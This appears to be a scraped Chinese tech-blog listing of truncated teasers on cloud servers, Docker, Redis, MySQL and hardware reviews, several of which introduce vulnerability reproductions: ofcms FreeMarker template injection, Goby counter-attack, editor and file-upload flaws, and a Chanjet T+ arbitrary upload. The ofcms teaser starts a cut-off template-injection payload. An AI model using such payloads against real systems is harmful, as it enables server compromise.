转&#xff1a; http://www.techweb.com.cn/digi/experience/2013-06-03/1300700.shtml 你是否遇到过这样的情形&#xff1a;想打一个英文单词&#xff0c;但是忘了具体拼写是什么&#xff0c;只是记了个大概?比如“竞争”&#xff0c;到底是competetion还是competition呢?又…

服务器ping不通的解决办法之阿里云云服务器VNC报错Failed to execute /sbin/init

背景:最近买了一个阿里云的云服务器,今天想安装阿里云的操作文档搭建一个博客网站来着,发现服务器公网IP都ping不通 解决办法参考: 方法一:如何解决ping请求超时的问题 方法二:本地ping服务器连接不到,总是超时 我的防火墙已经关闭,内网切换移动网络也不行,安全组…

从ofcms的模板注入漏洞(CVE-2019-9614)浅析SSTI漏洞(freemarker模板)

https://www.cnvd.org.cn/flaw/show/CNVD-2019-08488 思路: 1、pom.xml的时候发现存在模版引擎freemarker http://t.zoukankan.com/Eleven-Liu-p-12747908.html 2、寻找修改模版的地方 TemplateController.java 3、添加执行Payload <#assign ex“freemarker.template.utilit…

Goby反制复现

0x00 前言 最近复现Goby反制的时候遇到很多坑&#xff0c;记录一下反制过程以及遇到的坑点&#xff0c;还有世界上最强的黑客mux1ng帮我解决了很多问题。 0x01环境 攻击机&#xff1a; windows10 Goby1.8.230 172.20.10.3反制机&#xff1a; Windows7 Phpstudy2016 172.20.…

fckeditor漏洞_三十,文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御

一.编辑器漏洞 1.编辑器 编辑器属于第三方软件&#xff0c;它的作用是方便网站管理员上传或编辑网站上的内容&#xff0c;类似我们电脑上的Word文档。 编辑器通常分为两种情况&#xff1a; (1) 不需要后台验证&#xff0c;可以直接在前台访问且操作。通过方法找到编辑器&#x…

畅捷通T+任意文件上传(CNVD-2022-60632 )漏洞复现

一、漏洞描述 2022年8月29日和8月30日&#xff0c;畅捷通公司紧急发布安全补丁修复了畅捷通T软件任意文件上传漏洞。未经身份认证的攻击者利用该漏洞&#xff0c;通过绕过系统鉴权&#xff0c;在特定配置环境下实现任意文件的上传&#xff0c;从而执行任意代码&#xff0c;获得…

不喜欢节流吗?

您别无选择–基础系统&#xff08;此处的JVM将为您完成此选择&#xff09;。 我仍然记得2013年夏天&#xff0c;当时我正在运行一个项目&#xff0c;整个应用程序中只有1个URL使服务器瘫痪。 问题很简单-机器人决定以很高的速率索引我们的网站&#xff0c;并且该机器人正在创建…

OData V4 系列 查询操作

OData 学习目录 对OData的操作&#xff0c;主要是查询&#xff0c;下面把相关的查询情况列出来&#xff0c;供参考学习&#xff0c;每个操作都有对应的截图&#xff0c;便于理解 默认查询 $expand 查询导航属性关系 &#xff0c;查询Product相关的Supplier $top、$skip、$orde…

JSP项目打开不通的查看详情页动画是放大状态的解决办法

背景:前段时间做了一个详情页在当前页面的放大缩小的动画效果,——>我是如何用Jquery实现网页缩小放大的 今天测试反馈:详情页是缩小状态,点击关闭后打开其他的查看详情页页面,还是默认的缩小状态,需要做成,每次打开默认是放大的效果。 截图: 这个系统比较老,boots…

gorm 密码字段隐藏_KeeWeb for mac(密码管理工具)

KeeWeb是一个非常专业的密码管理工具。这款工具支持Mac OS X&#xff0c;Windows和Linux平台&#xff0c;不需要任何安装和工作在所有现代浏览器&#xff0c;搜索任何条目或查看所有文件中的所有项目作为一个列表。功能非常强大实用。本站现在提供KeeWeb Mac版下载&#xff0c;…

Centos7下按装Docker和docker-compose及环境配置

删除之前安装的 sudo yum remove docker \docker-client \docker-client-latest \docker-common \docker-latest \docker-latest-logrotate \docker-logrotate \docker-selinux \docker-engine-selinux \docker-engineyum remove docker-ce docker-ce-selinux container-selin…

你也在你的应用上添加B站上的弹幕效果

背景:现在弹幕已成为各大视频网站的标配,其实,弹幕最早是诞生于日本的一个二次元网站Niconico。后来A站和B站将其引入,开启了国内弹幕文化的先河。 开源地址:https://github.com/zerosoul/rc-bullets 相比点赞、转发、评论,弹幕的形式让用户的互动性更强,因此也更受大家…

google earth pro 64位_七彩虹秀精准刀工!iGame RTX 3060 Ti Advanced OC评测:烤机3小时64度...

一、前言&#xff1a;精准控制散热 七彩虹展现神奇刀法这次没有让大家等太久&#xff0c;在RTX 3080上市仅仅2个月之后&#xff0c;RTX 3060 Ti也终于来到了大家面前。这也是安培构架第一款售价在3000元以下的甜点产品。七彩虹公司也同步发售了5款iGame RTX 3060 Ti系列显卡&am…

流性能

当我阅读Angelika Langer的Java性能教程时-Java 8流有多快&#xff1f; 我简直不敢相信&#xff0c;对于一个特定的操作&#xff0c;它们花费的时间比循环要长15倍。 流媒体性能真的会那么糟糕吗&#xff1f; 我必须找出答案&#xff01; 巧合的是&#xff0c;我最近观看了一个…

Redis-cluster集群【第一篇】:redis安装及redis数据类型

Redis介绍&#xff1a; 一、介绍redis 是一个开源的、使用C语言编写的、支持网络交互的、可以基于内存也可以持久化的Key-Value数据库。redis的源码非常简单&#xff0c;只要有时间看看谭浩强的C语言&#xff0c;在去看redis的源码能看懂50-60%。redis目前最大的集群应该是新浪…

ad10怎么挖铺的铜_黄金怎么验真假,简单易行方法多。

在当今社会&#xff0c;随着人们生活水平的提高&#xff0c;大家越来越追求生活的质量。也就形成了我们在生活中想通过各种细节丰富我们的生活&#xff0c;提升我们的生活情趣。导致我们对物质的追求也上了一个台阶&#xff0c;相比之下黄金市场的需求也大大增加。而我们大家的…

CMD启动mysql服务“发生系统错误 5”的解决办法

背景&#xff1a;cmd进入&#xff0c;启动mysql报&#xff1a;发生系统错误 5 问题&#xff1a; 解决办法&#xff1a; 找到cmd.exe的位置&#xff0c;不好找请使用以下命令。 找到文件&#xff0c;右键以管理员身份运行即可。